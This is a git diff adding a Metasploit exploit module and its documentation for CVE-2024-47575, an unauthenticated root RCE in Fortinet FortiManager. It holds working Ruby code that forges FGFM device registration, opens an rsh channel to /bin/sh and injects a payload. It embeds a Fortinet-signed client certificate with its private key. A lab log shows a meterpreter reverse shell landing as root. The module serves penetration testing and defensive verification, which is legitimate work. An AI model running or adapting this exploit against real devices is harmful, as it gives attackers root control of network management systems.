diff --git a/documentation/modules/exploit/linux/misc/fortimanager_rce_cve_2024_47575.md b/documentation/modules/exploit/linux/misc/fortimanager_rce_cve_2024_47575.md new file mode 100644 index 0000000000..7ec1f644ec --- /dev/null +++ b/documentation/modules/exploit/linux/misc/fortimanager_rce_cve_2024_47575.md @@ -0,0 +1,146 @@ +## Vulnerable Application +This module exploits a missing authentication vulnerability affecting FortiManager and FortiManager +Cloud devices to achieve unauthenticated RCE with root privileges. + +For a full technical analysis, please see our +AttackerKB [Rapid7 Analysis](https://attackerkb.com/topics/OFBGprmpIE/cve-2024-47575/rapid7-analysis). + +The vulnerable FortiManager versions are: +* 7.6.0 +* 7.4.0 through 7.4.4 +* 7.2.0 through 7.2.7 +* 7.0.0 through 7.0.12 +* 6.4.0 through 6.4.14 +* 6.2.0 through 6.2.12 + +The vulnerable FortiManager Cloud versions are: +* 7.4.1 through 7.4.4 +* 7.2.1 through 7.2.7 +* 7.0.1 through 7.0.12 +* 6.4 (all versions). + +## Testing +You will need to acquire a firmware image for a suitable version of FortiManager. For example, to deploy FortiManager +`7.6.0` as a VM on HyperV, download the file `FMG_VM64_HV-v7.6.0.F-build3340-FORTINET.out.hyperv.zip`. +* Extract the contents of this archive. You will get a primary hard drive image `fmg.vhd`. +* In HyperV: + * Create a new virtual machine with 4096 MB RAM and 1 vCPU. + * Add 4 network adapters, the first must be connected to your external network (or similar) which can assigned an IP +via DHCP. The remaining 3 adapters can remain unconnected. + * In the IDE controller, add a new hard drive and select the `fmg.vhd` image. + * In the IDE controller, add a new hard drive and create an empty image (128GB). This is used by the device to store +data after setup. + * Boot the machine. +* The console will display the FortiManager boot sequence and drop you to a login prompt. The default username is `admin` +and the default password is empty. After you log in as admin the first time, you will be instructed to set a new admin +password. +* After logging in, you will be dropped to a CLI shell. Run the command `get system interface port1` in order to +discover the IP address of your new FortiManager device. +* At this point you can successfully exploit an unlicensed FortiManager device. Alternatively you can acquire a trial +license of FortiManager and complete the setup by visiting `https:///` in your browser. + +## Verification Steps + +1. Start msfconsole +2. `use exploit/linux/misc/fortimanager_rce_cve_2024_47575` +3. `set RHOST ` +4. `set LHOST eth0` +5. `set LPORT 4444` +6. `set PAYLOAD cmd/linux/http/x64/meterpreter_reverse_tcp` +7. `check` +8. `exploit` + +## Options +The exploit provides a suitable client certificate/key pair by default, however we can let a user configure +a different certificate/key pair to use if they want. The user can also override the serial number and +platform if needed, but the exploit will try to detect the serial number and platform from the certificate +by default. + +### ClientCert +A file path to an x509 cert, signed by Fortinet, with a serial number in the CN + +### ClientKey +A file path to the corresponding private key for the ClientCert. + +### ClientSerialNumber +If set, use this serial number instead of extracting one from the ClientCert. + +### ClientPlatform +If set, use this platform instead of determining the platform at runtime. + +## Scenarios + +### Default + +``` +msf6 exploit(linux/misc/fortimanager_rce_cve_2024_47575) > set RHOST 192.168.86.93 +RHOST => 192.168.86.93 +msf6 exploit(linux/misc/fortimanager_rce_cve_2024_47575) > set LHOST eth0 +LHOST => eth0 +msf6 exploit(linux/misc/fortimanager_rce_cve_2024_47575) > set LPORT 4444 +LPORT => 4444 +msf6 exploit(linux/misc/fortimanager_rce_cve_2024_47575) > set PAYLOAD cmd/linux/http/x64/meterpreter_reverse_tcp +PAYLOAD => cmd/linux/http/x64/meterpreter_reverse_tcp +msf6 exploit(linux/misc/fortimanager_rce_cve_2024_47575) > show options + +Module options (exploit/linux/misc/fortimanager_rce_cve_2024_47575): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + ClientCert no A file path to an x509 cert, signed by Fortinet, with a serial number in the CN + ClientKey no A file path to the corresponding private key for the ClientCert. + ClientPlatform no If set, use this platform instead of determining the platform at runtime. + ClientSerialNumber no If set, use this serial number instead of extracting one from the ClientCert. + RHOSTS 192.168.86.93 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using- + metasploit.html + RPORT 541 yes The target port (TCP) + + +Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET) + FETCH_DELETE false yes Attempt to delete the binary after execution + FETCH_FILENAME GfogzcPTWbTb no Name to use on remote system when storing payload; cannot contain spaces or slashes + FETCH_SRVHOST no Local IP to use for serving payload + FETCH_SRVPORT 8080 yes Local port to use for serving payload + FETCH_URIPATH no Local URI to use for serving payload + FETCH_WRITABLE_DIR /tmp yes Remote writable dir to store payload; cannot contain spaces + LHOST eth0 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Default + + + +View the full module info with the info, or info -d command. + +msf6 exploit(linux/misc/fortimanager_rce_cve_2024_47575) > check +[*] 192.168.86.93:541 - The service is running, but could not be validated. Detected Fortinet FortiManager +msf6 exploit(linux/misc/fortimanager_rce_cve_2024_47575) > exploit + +[*] Started reverse TCP handler on 192.168.86.42:4444 +[*] 192.168.86.93:541 - Client certificate common name: FMG-VM0000000000 +[*] 192.168.86.93:541 - Using client serial number 'FMG-VM0000000000' and platform 'FortiManager-VM64'. +[*] 192.168.86.93:541 - Connecting... +[*] 192.168.86.93:541 - Registering device... +[*] 192.168.86.93:541 - Creating channel... +[*] 192.168.86.93:541 - Triggering... +[*] Meterpreter session 1 opened (192.168.86.42:4444 -> 192.168.86.93:16620) at 2024-11-15 12:48:15 +0000 + +meterpreter > getuid +Server username: root +meterpreter > sysinfo +Computer : 192.168.86.93 +OS : (Linux 5.15.109) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > +``` diff --git a/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb b/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb new file mode 100644 index 0000000000..ca7e0cc777 --- /dev/null +++ b/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb @@ -0,0 +1,322 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::Tcp + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Fortinet FortiManager Unauthenticated RCE', + 'Description' => %q{ + This module exploits a missing authentication vulnerability affecting FortiManager and FortiManager + Cloud devices to achieve unauthenticated RCE with root privileges. + + The vulnerable FortiManager versions are: + * 7.6.0 + * 7.4.0 through 7.4.4 + * 7.2.0 through 7.2.7 + * 7.0.0 through 7.0.12 + * 6.4.0 through 6.4.14 + * 6.2.0 through 6.2.12 + + The vulnerable FortiManager Cloud versions are: + * 7.4.1 through 7.4.4 + * 7.2.1 through 7.2.7 + * 7.0.1 through 7.0.12 + * 6.4 (all versions). + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'sfewer-r7', # MSF Exploit & Rapid7 Analysis + ], + 'References' => [ + ['CVE', '2024-47575'], + # AttackerKB Rapid7 Analysis. + ['URL', 'https://attackerkb.com/topics/OFBGprmpIE/cve-2024-47575/rapid7-analysis'], + # Bishop Fox details certificate requirements for connecting to the FGFM service. + ['URL', 'https://bishopfox.com/blog/a-look-at-fortijump-cve-2024-47575'], + # Vendor Advisory. + ['URL', 'https://fortiguard.fortinet.com/psirt/FG-IR-24-423'] + ], + 'DisclosureDate' => '2024-10-23', + 'Platform' => %w[unix linux], + 'Arch' => [ARCH_CMD], + 'Privileged' => true, # Code execution as 'root' + 'DefaultOptions' => { + 'RPORT' => 541, + 'SSL' => true, + 'FETCH_WRITABLE_DIR' => '/tmp' + }, + 'Targets' => [ [ 'Default', {} ] ], + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + + register_options( + [ + # The exploit provides a suitable client certificate/key pair by default, however we can let a user configure + # a different certificate/key pair to use if they want. The user can also override the serial number and + # platform if needed, but the exploit will try to detect the serial number and platform from the certificate + # by default. + OptPath.new('ClientCert', [false, 'A file path to an x509 cert, signed by Fortinet, with a serial number in the CN']), + OptPath.new('ClientKey', [false, 'A file path to the corresponding private key for the ClientCert.']), + OptString.new('ClientSerialNumber', [false, 'If set, use this serial number instead of extracting one from the ClientCert.']), + OptString.new('ClientPlatform', [false, 'If set, use this platform instead of determining the platform at runtime.']) + ] + ) + end + + def check + fgfm_sock = make_socket + + peer_cert = OpenSSL::X509::Certificate.new(fgfm_sock.peer_cert) + + fgfm_sock.close + + organization = get_cert_subject_item(peer_cert, 'O') + + common_name = get_cert_subject_item(peer_cert, 'CN') + + # Detect that the target is a Fortinet FortiManager, by inspecting the certificate the server is using. + # We look for an organization (O) of 'Fortinet', and a common name (CN) that starts with a FortiManager serial + # number identifier. + return CheckCode::Detected('Detected Fortinet FortiManager') if organization == 'Fortinet' && common_name&.start_with?('FMG') + + CheckCode::Unknown + end + + def exploit + client_cert_raw = datastore['ClientCert'] ? File.binread(datastore['ClientCert']) : get_client_cert + + client_cert = OpenSSL::X509::Certificate.new(client_cert_raw) + + common_name = get_cert_subject_item(client_cert, 'CN') + + fail_with(Failure::BadConfig, 'No common name in client certificate subject') unless common_name + + print_status("Client certificate common name: #{common_name}") + + serial_number = 'FMG-VM0000000000' + platform = 'FortiManager-VM64' + + # The platform needs to be the expected type of the corresponding serial number. We try to match these up here, + # and we allow for the automatic detection to be overridden by the ClientSerialNumber and ClientPlatform options + # in case it is needed. + if common_name.start_with? 'FMG' + serial_number = common_name + platform = 'FortiManager-VM64' + elsif common_name.start_with? 'FG' + serial_number = common_name + platform = 'FortiGate-VM64' + else + print_warning('Client certificate does not include a serial number in the common name. The target must be configured to accept a certificate like this.') + end + + serial_number = datastore['ClientSerialNumber'] if datastore['ClientSerialNumber'] + + platform = datastore['ClientPlatform'] if datastore['ClientPlatform'] + + print_status("Using client serial number '#{serial_number}' and platform '#{platform}'.") + + print_status('Connecting...') + + fgfm_sock = make_socket + + fail_with(Failure::UnexpectedReply, 'Connection failed.') unless fgfm_sock + + print_status('Registering device...') + + req1 = "get auth\r\nserialno=#{serial_number}\r\nplatform=#{platform}\r\nhostname=localhost\r\n\r\n\x00" + + resp1 = send_packet(fgfm_sock, req1) + + unless resp1&.include?('reply 200') + fail_with(Failure::UnexpectedReply, 'Request 1 failed: No reply 200.') + end + + print_status('Creating channel...') + + req2 = "get connect_tcp\r\ntcp_port=rsh\r\nchan_window_sz=#{32 * 1024}\r\nterminal=1\r\ncmd=/bin/sh\r\nlocalid=0\r\n\r\n\x00" + + resp2 = send_packet(fgfm_sock, req2) + + unless resp2&.include?('action=ack') + fail_with(Failure::UnexpectedReply, 'Request 2 failed: No ack.') + end + + localid = resp2.match(/localid=(\d+)/) + unless localid + fail_with(Failure::UnexpectedReply, 'Request 2 failed: No localid found.') + end + + print_status('Triggering...') + + req3 = "channel\r\nremoteid=#{localid[1]}\r\n\r\n\x00" + payload.encoded.length.to_s + "\n" + payload.encoded + "0\n" + + send_packet(fgfm_sock, req3, read: false) + end + + # We create a TCP socket like this as we want to control how we specify the client certificate/key pair, which may + # either be a file path, or a blob of text. + def make_socket + hash = { + 'Proto' => 'tcp', + 'PeerHost' => datastore['RHOST'], + 'PeerPort' => datastore['RPORT'], + 'SSL' => true, + 'SSLVerifyMode' => 'NONE', + 'Context' => + { + 'Msf' => framework, + 'MsfExploit' => self + } + } + + hash['SSLClientCert'] = datastore['ClientCert'] if datastore['ClientCert'] + + hash['SSLClientKey'] = datastore['ClientKey'] if datastore['ClientKey'] + + params = Rex::Socket::Parameters.from_hash(hash) + + params.ssl_client_cert = get_client_cert unless datastore['ClientCert'] + + params.ssl_client_key = get_client_key unless datastore['ClientKey'] + + fgfm_sock = Rex::Socket::Tcp.create_param(params) + + # Register our new socket, so that abort_sockets will close this socket after the payload handler + # has caught the session (or until WfSDelay timesout). This avoids us having to introduce a separate timeout + # in the exploit method, before we manually close the socket and then try to catch the session. We want to keep + # the socket open until we have a session, as closing the socket too quickly can prevent the payload command + # we transmit over the FGFM channel on this socket from executing. + add_socket(fgfm_sock) + + fgfm_sock + end + + def send_packet(fgfm_sock, data, read: true) + packet = [0x36E01100, data.length + 8].pack('NN') + + packet += data + + fgfm_sock.write(packet) + + return nil unless read + + header = fgfm_sock.read(8) + + unless header + print_error('Failed to read an FGFM header') + return nil + end + + magic, len = header.unpack('NN') + + unless magic == 0x36E01100 + print_error('Bad magic value in FGFM header') + return nil + end + + unless len >= 8 + print_error('Bad length value in FGFM header') + return nil + end + + fgfm_sock.read(len - 8) + end + + def get_cert_subject_item(cert, type) + cert.subject.to_a.each do |item| + return item[1] if item[0] == type + end + nil + end + +=begin +An x509 certificate from an unregistered FortiManager trial VM, located at /etc/cert/local/ on the device, with a +serial number of FMG-VM0000000000 and a platform of FortiManager-VM64. + +$ sha1sum Fortinet_Local2.cer +9fad50dace25e68694e028f628282b1194ec58a1 Fortinet_Local2.cer +$ sha1sum Fortinet_Local2.key +d006e298df00450973e22c74726404d841db9874 Fortinet_Local2.key +$ openssl x509 -noout -text -in Fortinet_Local2.cer +Certificate: + Data: + Version: 3 (0x2) + Serial Number: 405822 (0x6313e) + Signature Algorithm: sha256WithRSAEncryption + Issuer: C = US, ST = California, L = Sunnyvale, O = Fortinet, OU = Certificate Authority, CN = support, emailAddress = support@fortinet.com + Validity + Not Before: Nov 10 21:14:26 2017 GMT + Not After : Jan 19 03:14:07 2038 GMT + Subject: C = US, ST = California, L = Sunnyvale, O = Fortinet, OU = FortiManager, CN = FMG-VM0000000000, emailAddress = support@fortinet.com +=end + def get_client_cert + "-----BEGIN CERTIFICATE----- +MIIDzDCCArSgAwIBAgIDBjE+MA0GCSqGSIb3DQEBCwUAMIGgMQswCQYDVQQGEwJV +UzETMBEGA1UECBMKQ2FsaWZvcm5pYTESMBAGA1UEBxMJU3Vubnl2YWxlMREwDwYD +VQQKEwhGb3J0aW5ldDEeMBwGA1UECxMVQ2VydGlmaWNhdGUgQXV0aG9yaXR5MRAw +DgYDVQQDEwdzdXBwb3J0MSMwIQYJKoZIhvcNAQkBFhRzdXBwb3J0QGZvcnRpbmV0 +LmNvbTAeFw0xNzExMTAyMTE0MjZaFw0zODAxMTkwMzE0MDdaMIGgMQswCQYDVQQG +EwJVUzETMBEGA1UECBMKQ2FsaWZvcm5pYTESMBAGA1UEBxMJU3Vubnl2YWxlMREw +DwYDVQQKEwhGb3J0aW5ldDEVMBMGA1UECxMMRm9ydGlNYW5hZ2VyMRkwFwYDVQQD +ExBGTUctVk0wMDAwMDAwMDAwMSMwIQYJKoZIhvcNAQkBFhRzdXBwb3J0QGZvcnRp +bmV0LmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMcgGzRlTTeV +jIcE8D7z7Vnp6LKDcGE57VL4qs1fOxvTrK2j7vWbVMHSsOpf8taAAm55qmqeS//w +oCJQq3t5mmq1M6MHm2nom6Q+dObcsfhieLrIFwp9X1Xt9YHKQd5qOR5PysrMhFKd +pwMJfmlzuWWcIUeilgecP6eq9GS50gu4m+0NK0d3LTsmWz1jLNC3k74fYwYDsaPn +hl/tsxcqZWrYHUHJhH5ep8YAxE6Eo2JG67BXOI/JbxrWPEh+zRLqA7ZrWeBPl0AE +IXTK+SIBJTW0dpnxEcG6wBQQxCp8jZ+RlaFpKjBdYucDVTDtkLabvetOrAn+mjcR +utg6NHlptSECAwEAAaMNMAswCQYDVR0TBAIwADANBgkqhkiG9w0BAQsFAAOCAQEA +l265IvoXNxpTJEWdYwYvjAFdaueBk349ApvriQmsPdAJmhFgF4U8l6PI/kBPVYCg +zP0EA1zImHwLFkzlCVtMtzhuUY3h2ZIUEhYwX0xEf5Kay2XHicWAwugQ0k/QDmiv +w7/w7UTiwPaMLroEcjRbH8T4TLCXBdKsgXYW+t72CSA8MJDSug8o2yABom6XKlXl +35mD93BrFkbxhhAiCrrC63byX7XTuXTyrP1dO9Qi9aSPWrIbi2SV+SjTLhP0n1bd +ikVOHNNreyhQRlRjguPrW0P2Xqjbecgp98tdRyoOSr9sF5Qo5TKdvIwUFClFgsy+ +7pactwTnQmwhvlLQ7Z/dOg== +-----END CERTIFICATE-----" + end + + def get_client_key + "-----BEGIN PRIVATE KEY----- +MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDHIBs0ZU03lYyH +BPA+8+1Z6eiyg3BhOe1S+KrNXzsb06yto+71m1TB0rDqX/LWgAJueapqnkv/8KAi +UKt7eZpqtTOjB5tp6JukPnTm3LH4Yni6yBcKfV9V7fWBykHeajkeT8rKzIRSnacD +CX5pc7llnCFHopYHnD+nqvRkudILuJvtDStHdy07Jls9YyzQt5O+H2MGA7Gj54Zf +7bMXKmVq2B1ByYR+XqfGAMROhKNiRuuwVziPyW8a1jxIfs0S6gO2a1ngT5dABCF0 +yvkiASU1tHaZ8RHBusAUEMQqfI2fkZWhaSowXWLnA1Uw7ZC2m73rTqwJ/po3EbrY +OjR5abUhAgMBAAECggEAcIXaGa+tBN4DfUDzKf/ZflfJ4SaZWLfNPne6vTc1RbJG +ABGFNVFDggu3YZo6ta+8sAUcogc11zl4pCuF286Jzgb7WQMxdZW2bgfFM7g+8adj +pdjv/EOAniRL+b37nt3TzSc154fOtojUGclBoAF/IMYroDlmIoLPDcZzOIAxC+GU +BCkCh/a3AFnhkkym0IGx4i89ji+nxcY5vEqD4n4Q49gkebxjmTVBq7YEU2YwOsbT +0BO9jmYKE0wumetNpYJsR2qVI7dUmJMNdcEah/A9ODqMM2BJUxovW8XgR9wOIXN2 +3aWwmPeAtTnVhvBaHJL/ItGOGjmdcM1pwChowCWj4QKBgQD5EMo2A9+qeziSt3Ve +nmD1o7zDyGAe0bGLN4rIou6I/Zz8p7ckRYIAw2HhmsE2C2ZF8OS9GWmsu23tnTBl +DQTj1fSquw1cjLxUgwTkLUF7FTUBrxLstYSz1EJSzd8+V8mLI3bXriq8yFVK7z8y +jFBB3BqkqUcBjIWFAMDvWoyJtQKBgQDMq15o9bhWuR7rGTvzhDiZvDNemTHHdRWz +6cxb4d4TWsRsK73Bv1VFRg/SpDTg88kV2X8wqt7yfR2qhcyiAAFJq9pflG/rUSp6 +KvNbcXW7ys+x33x+MkZtbSh8TJ3SP9IoppawB/SP/p2YxkdgjPF/sllPEAkgHznW +Gwk5jxRxPQKBgQDQAKGfcqS8b6PTg7tVhddbzZ67sv/zPRSVO5F/9fJYHdWZe0eL +1zC3CnUYQHHTfLmw93lQI4UJaI5pvrjH65OF4w0t+IE0JaSyv6i6FsF01UUrXtbj +MMTemgm5tY0XN6FtvfRmM2IlvvjcV+njgSMVnYfytBxEwuJPLU3zlx9/cQKBgQDB +2GEPugLAqI6fDoRYjNdqy/Q/WYrrJXrLrtkuAQvreuFkrj0IHuZtOQFNeNbYZC0E +871iY8PLGTMayaTZnnWZyBmIwzcJQhOgJ8PbzOc8WMdD6a6oe4d2ppdcutgTRP0Q +IU/BI5e/NeEfzFPYH0Wvs0Sg/EgYU1rc7ThceqZa5QKBgQCf18PRZcm7hVbjOn9i +BFpFMaECkVcf6YotgQuUKf6uGgF+/UOEl6rQXKcf1hYcSALViB6M9p5vd65FHq4e +oDzQRBEPL86xtNfQvbaIqKTalFDv4ht7DlF38BQx7MAlJQwuljj1hrQd9Ho+VFDu +Lh1BvSCTWFh0WIUxOrNlmlg1Uw== +-----END PRIVATE KEY-----" + end +end